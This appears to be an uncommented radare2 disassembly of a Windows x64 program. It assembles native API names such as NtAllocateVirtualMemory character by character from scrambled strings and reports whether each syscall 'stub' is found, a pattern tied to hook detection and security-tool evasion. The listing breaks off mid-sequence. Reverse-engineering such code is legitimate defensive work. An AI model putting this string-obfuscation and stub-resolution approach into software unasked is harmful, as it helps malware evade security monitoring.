lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x1ddf]
mov rcx, rax
call fcn.0046fac0
lea rdx, [rbp + 0x1ddf]
lea rax, [rbp + 0x1db0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a7a00
lea rax, [rbp + 0x1d90]
lea rdx, [rbp + 0x1db0]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1d70]
lea rdx, [rbp + 0x1d90]
lea r8, [0x0052c6cf]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1d50]
lea rdx, [rbp + 0x1d70]
lea r8, [0x0052c687]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1d30]
lea rdx, [rbp + 0x1d50]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1d10]
lea rdx, [rbp + 0x1d30]
lea r8, [0x0052c687]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1cf0]
lea rdx, [rbp + 0x1d10]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1cd0]
lea rdx, [rbp + 0x1cf0]
lea r8, [0x0052c675]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1cb0]
lea rdx, [rbp + 0x1cd0]
lea r8, [0x0052c6d5]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1c90]
lea rdx, [rbp + 0x1cb0]
lea r8, [0x0052c67b]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1c70]
lea rdx, [rbp + 0x1c90]
lea r8, [0x0052c6b3]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1c50]
lea rdx, [rbp + 0x1c70]
lea r8, [0x0052c6b5]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1c30]
lea rdx, [rbp + 0x1c50]
lea r8, [0x0052c685]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1c10]
lea rdx, [rbp + 0x1c30]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1bf0]
lea rdx, [rbp + 0x1c10]
lea r8, [0x0052c67d]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1bd0]
lea rdx, [rbp + 0x1bf0]
lea r8, [0x0052c6b7]
mov rcx, rax
call fcn.004b79e0
lea rdx, [rbp + 0x1bd0]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.004a8090
lea rax, [rbp + 0x1bd0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1bf0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1c10]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1c30]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1c50]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1c70]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1c90]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1cb0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1cd0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1cf0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1d10]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1d30]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1d50]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1d70]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1d90]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1db0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1ddf]
mov rcx, rax
call fcn.0046faf0
lea rdx, [rbp + 0x340]
lea rax, [rbp + 0x1de0]
mov rcx, rax
call fcn.004a7590
mov r9, qword [rbp + 0x31e0]
mov r8, qword [rbp + 0x3200]
mov rdx, qword [rbp + 0x31d8]
lea rax, [rbp + 0x1de0]
mov rcx, qword [rbp + 0x3248]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32b0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x31d4], eax
lea rax, [rbp + 0x1de0]
mov rcx, rax
call fcn.004a8050
cmp dword [rbp + 0x31d4], 0
je 0x4077e1
lea rsi, [0x0052c68f]
jmp 0x4077e8
lea rsi, [0x0052c694]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.00432ab0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x206f]
mov rcx, rax
call fcn.0046fac0
lea rdx, [rbp + 0x206f]
lea rax, [rbp + 0x2040]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a7a00
lea rax, [rbp + 0x2020]
lea rdx, [rbp + 0x2040]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2000]
lea rdx, [rbp + 0x2020]
lea r8, [0x0052c675]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1fe0]
lea rdx, [rbp + 0x2000]
lea r8, [0x0052c677]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1fc0]
lea rdx, [rbp + 0x1fe0]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1fa0]
lea rdx, [rbp + 0x1fc0]
lea r8, [0x0052c685]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1f80]
lea rdx, [rbp + 0x1fa0]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1f60]
lea rdx, [rbp + 0x1f80]
lea r8, [0x0052c6bd]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1f40]
lea rdx, [rbp + 0x1f60]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1f20]
lea rdx, [rbp + 0x1f40]
lea r8, [0x0052c6bf]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1f00]
lea rdx, [rbp + 0x1f20]
lea r8, [0x0052c687]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1ee0]
lea rdx, [rbp + 0x1f00]
lea r8, [0x0052c68b]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1ec0]
lea rdx, [rbp + 0x1ee0]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1ea0]
lea rdx, [rbp + 0x1ec0]
lea r8, [0x0052c6b3]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1e80]
lea rdx, [rbp + 0x1ea0]
lea r8, [0x0052c6b5]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1e60]
lea rdx, [rbp + 0x1e80]
lea r8, [0x0052c685]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1e40]
lea rdx, [rbp + 0x1e60]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1e20]
lea rdx, [rbp + 0x1e40]
lea r8, [0x0052c67d]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x1e00]
lea rdx, [rbp + 0x1e20]
lea r8, [0x0052c6b7]
mov rcx, rax
call fcn.004b79e0
lea rdx, [rbp + 0x1e00]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.004a8090
lea rax, [rbp + 0x1e00]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1e20]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1e40]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1e60]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1e80]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1ea0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1ec0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1ee0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1f00]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1f20]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1f40]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1f60]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1f80]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1fa0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1fc0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x1fe0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2000]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2020]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2040]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x206f]
mov rcx, rax
call fcn.0046faf0
lea rdx, [rbp + 0x340]
lea rax, [rbp + 0x2070]
mov rcx, rax
call fcn.004a7590
mov r9, qword [rbp + 0x31e0]
mov r8, qword [rbp + 0x3200]
mov rdx, qword [rbp + 0x31d8]
lea rax, [rbp + 0x2070]
mov rcx, qword [rbp + 0x3240]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32b0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x31d4], eax
lea rax, [rbp + 0x2070]
mov rcx, rax
call fcn.004a8050
cmp dword [rbp + 0x31d4], 0
je 0x407bfd
lea rsi, [0x0052c68f]
jmp 0x407c04
lea rsi, [0x0052c694]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.00432ab0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x22df]
mov rcx, rax
call fcn.0046fac0
lea rdx, [rbp + 0x22df]
lea rax, [rbp + 0x22b0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a7a00
lea rax, [rbp + 0x2290]
lea rdx, [rbp + 0x22b0]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2270]
lea rdx, [rbp + 0x2290]
lea r8, [0x0052c6d7]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2250]
lea rdx, [rbp + 0x2270]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2230]
lea rdx, [rbp + 0x2250]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2210]
lea rdx, [rbp + 0x2230]
lea r8, [0x0052c6b1]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x21f0]
lea rdx, [rbp + 0x2210]
lea r8, [0x0052c679]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x21d0]
lea rdx, [rbp + 0x21f0]
lea r8, [0x0052c6c5]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x21b0]
lea rdx, [rbp + 0x21d0]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2190]
lea rdx, [rbp + 0x21b0]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2170]
lea rdx, [rbp + 0x2190]
lea r8, [0x0052c6bb]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2150]
lea rdx, [rbp + 0x2170]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2130]
lea rdx, [rbp + 0x2150]
lea r8, [0x0052c6b3]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2110]
lea rdx, [rbp + 0x2130]
lea r8, [0x0052c6b5]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x20f0]
lea rdx, [rbp + 0x2110]
lea r8, [0x0052c685]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x20d0]
lea rdx, [rbp + 0x20f0]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x20b0]
lea rdx, [rbp + 0x20d0]
lea r8, [0x0052c67d]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2090]
lea rdx, [rbp + 0x20b0]
lea r8, [0x0052c6b7]
mov rcx, rax
call fcn.004b79e0
lea rdx, [rbp + 0x2090]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.004a8090
lea rax, [rbp + 0x2090]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x20b0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x20d0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x20f0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2110]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2130]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2150]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2170]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2190]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x21b0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x21d0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x21f0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2210]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2230]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2250]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2270]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2290]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x22df]
mov rcx, rax
call fcn.0046faf0
lea rdx, [rbp + 0x340]
lea rax, [rbp + 0x22e0]
mov rcx, rax
call fcn.004a7590
mov r9, qword [rbp + 0x31e0]
mov r8, qword [rbp + 0x3200]
mov rdx, qword [rbp + 0x31d8]
lea rax, [rbp + 0x22e0]
mov rcx, qword [rbp + 0x3238]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32b0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x31d4], eax
lea rax, [rbp + 0x22e0]
mov rcx, rax
call fcn.004a8050
cmp dword [rbp + 0x31d4], 0
je 0x407fed
lea rsi, [0x0052c68f]
jmp 0x407ff4
lea rsi, [0x0052c694]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.00432ab0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x254f]
mov rcx, rax
call fcn.0046fac0
lea rdx, [rbp + 0x254f]
lea rax, [rbp + 0x2520]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a7a00
lea rax, [rbp + 0x2500]
lea rdx, [rbp + 0x2520]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x24e0]
lea rdx, [rbp + 0x2500]
lea r8, [0x0052c6c3]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x24c0]
lea rdx, [rbp + 0x24e0]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x24a0]
lea rdx, [rbp + 0x24c0]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2480]
lea rdx, [rbp + 0x24a0]
lea r8, [0x0052c6b1]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2460]
lea rdx, [rbp + 0x2480]
lea r8, [0x0052c679]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2440]
lea rdx, [rbp + 0x2460]
lea r8, [0x0052c6c5]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2420]
lea rdx, [rbp + 0x2440]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2400]
lea rdx, [rbp + 0x2420]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x23e0]
lea rdx, [rbp + 0x2400]
lea r8, [0x0052c6bb]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x23c0]
lea rdx, [rbp + 0x23e0]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x23a0]
lea rdx, [rbp + 0x23c0]
lea r8, [0x0052c6b3]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2380]
lea rdx, [rbp + 0x23a0]
lea r8, [0x0052c6b5]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2360]
lea rdx, [rbp + 0x2380]
lea r8, [0x0052c685]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2340]
lea rdx, [rbp + 0x2360]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2320]
lea rdx, [rbp + 0x2340]
lea r8, [0x0052c67d]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2300]
lea rdx, [rbp + 0x2320]
lea r8, [0x0052c6b7]
mov rcx, rax
call fcn.004b79e0
lea rdx, [rbp + 0x2300]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.004a8090
lea rax, [rbp + 0x2300]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2320]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2340]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2360]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2380]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x23a0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x23c0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x23e0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2400]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2420]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2440]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2460]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2480]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x24e0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2500]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2520]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x254f]
mov rcx, rax
call fcn.0046faf0
lea rdx, [rbp + 0x340]
lea rax, [rbp + 0x2550]
mov rcx, rax
call fcn.004a7590
mov r9, qword [rbp + 0x31e0]
mov r8, qword [rbp + 0x3200]
mov rdx, qword [rbp + 0x31d8]
lea rax, [rbp + 0x2550]
mov rcx, qword [rbp + 0x3230]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32b0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x31d4], eax
lea rax, [rbp + 0x2550]
mov rcx, rax
call fcn.004a8050
cmp dword [rbp + 0x31d4], 0
je 0x4083dd
lea rsi, [0x0052c68f]
jmp 0x4083e4
lea rsi, [0x0052c694]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.00432ab0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x277f]
mov rcx, rax
call fcn.0046fac0
lea rdx, [rbp + 0x277f]
lea rax, [rbp + 0x2750]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a7a00
lea rax, [rbp + 0x2730]
lea rdx, [rbp + 0x2750]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2710]
lea rdx, [rbp + 0x2730]
lea r8, [0x0052c6d9]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x26f0]
lea rdx, [rbp + 0x2710]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x26d0]
lea rdx, [rbp + 0x26f0]
lea r8, [0x0052c677]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x26b0]
lea rdx, [rbp + 0x26d0]
lea r8, [0x0052c67d]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2690]
lea rdx, [rbp + 0x26b0]
lea r8, [0x0052c68d]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2670]
lea rdx, [rbp + 0x2690]
lea r8, [0x0052c6b9]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2650]
lea rdx, [rbp + 0x2670]
lea r8, [0x0052c6bb]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2630]
lea rdx, [rbp + 0x2650]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2610]
lea rdx, [rbp + 0x2630]
lea r8, [0x0052c67b]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x25f0]
lea rdx, [rbp + 0x2610]
lea r8, [0x0052c687]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x25d0]
lea rdx, [rbp + 0x25f0]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x25b0]
lea rdx, [rbp + 0x25d0]
lea r8, [0x0052c683]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2590]
lea rdx, [rbp + 0x25b0]
lea r8, [0x0052c679]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2570]
lea rdx, [rbp + 0x2590]
lea r8, [0x0052c6c5]
mov rcx, rax
call fcn.004b79e0
lea rdx, [rbp + 0x2570]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.004a8090
lea rax, [rbp + 0x2570]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2590]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x25b0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x25d0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x25f0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2610]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2630]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2650]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2670]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2690]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x26b0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x26d0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x26f0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2710]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2730]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2750]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x277f]
mov rcx, rax
call fcn.0046faf0
lea rdx, [rbp + 0x340]
lea rax, [rbp + 0x2780]
mov rcx, rax
call fcn.004a7590
mov r9, qword [rbp + 0x31e0]
mov r8, qword [rbp + 0x3200]
mov rdx, qword [rbp + 0x31d8]
lea rax, [rbp + 0x2780]
mov rcx, qword [rbp + 0x3228]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32b0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x31d4], eax
lea rax, [rbp + 0x2780]
mov rcx, rax
call fcn.004a8050
cmp dword [rbp + 0x31d4], 0
je 0x408775
lea rsi, [0x0052c68f]
jmp 0x40877c
lea rsi, [0x0052c694]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.00432ab0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x294f]
mov rcx, rax
call fcn.0046fac0
lea rdx, [rbp + 0x294f]
lea rax, [rbp + 0x2920]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a7a00
lea rax, [rbp + 0x2900]
lea rdx, [rbp + 0x2920]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x28e0]
lea rdx, [rbp + 0x2900]
lea r8, [0x0052c6c9]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x28c0]
lea rdx, [rbp + 0x28e0]
lea r8, [0x0052c6d5]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x28a0]
lea rdx, [rbp + 0x28c0]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2880]
lea rdx, [rbp + 0x28a0]
lea r8, [0x0052c6c5]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2860]
lea rdx, [rbp + 0x2880]
lea r8, [0x0052c6c3]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2840]
lea rdx, [rbp + 0x2860]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2820]
lea rdx, [rbp + 0x2840]
lea r8, [0x0052c67b]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2800]
lea rdx, [rbp + 0x2820]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x27e0]
lea rdx, [rbp + 0x2800]
lea r8, [0x0052c683]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x27c0]
lea rdx, [rbp + 0x27e0]
lea r8, [0x0052c679]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x27a0]
lea rdx, [rbp + 0x27c0]
lea r8, [0x0052c6c5]
mov rcx, rax
call fcn.004b79e0
lea rdx, [rbp + 0x27a0]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.004a8090
lea rax, [rbp + 0x27a0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x27c0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x27e0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2800]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2820]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2840]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2860]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2880]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x28a0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x28c0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x28e0]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2900]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x2920]
mov rcx, rax
call fcn.004a8050
lea rax, [rbp + 0x294f]
mov rcx, rax
call fcn.0046faf0
lea rdx, [rbp + 0x340]
lea rax, [rbp + 0x2950]
mov rcx, rax
call fcn.004a7590
mov r9, qword [rbp + 0x31e0]
mov r8, qword [rbp + 0x3200]
mov rdx, qword [rbp + 0x31d8]
lea rax, [rbp + 0x2950]
mov rcx, qword [rbp + 0x3220]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32b0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x31d4], eax
lea rax, [rbp + 0x2950]
mov rcx, rax
call fcn.004a8050
cmp dword [rbp + 0x31d4], 0
je 0x408a89
lea rsi, [0x0052c68f]
jmp 0x408a90
lea rsi, [0x0052c694]
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.00432ab0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x2bbf]
mov rcx, rax
call fcn.0046fac0
lea rdx, [rbp + 0x2bbf]
lea rax, [rbp + 0x2b90]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a7a00
lea rax, [rbp + 0x2b70]
lea rdx, [rbp + 0x2b90]
lea r8, [0x0052c673]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2b50]
lea rdx, [rbp + 0x2b70]
lea r8, [0x0052c689]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2b30]
lea rdx, [rbp + 0x2b50]
lea r8, [0x0052c67d]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2b10]
lea rdx, [rbp + 0x2b30]
lea r8, [0x0052c6d5]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2af0]
lea rdx, [rbp + 0x2b10]
lea r8, [0x0052c681]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2ad0]
lea rdx, [rbp + 0x2af0]
lea r8, [0x0052c683]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2ab0]
lea rdx, [rbp + 0x2ad0]
lea r8, [0x0052c67f]
mov rcx, rax
call fcn.004b79e0
lea rax, [rbp + 0x2a90]
lea rdx, [rbp + 0x2ab0]
lea r8, [0x0052c6db]
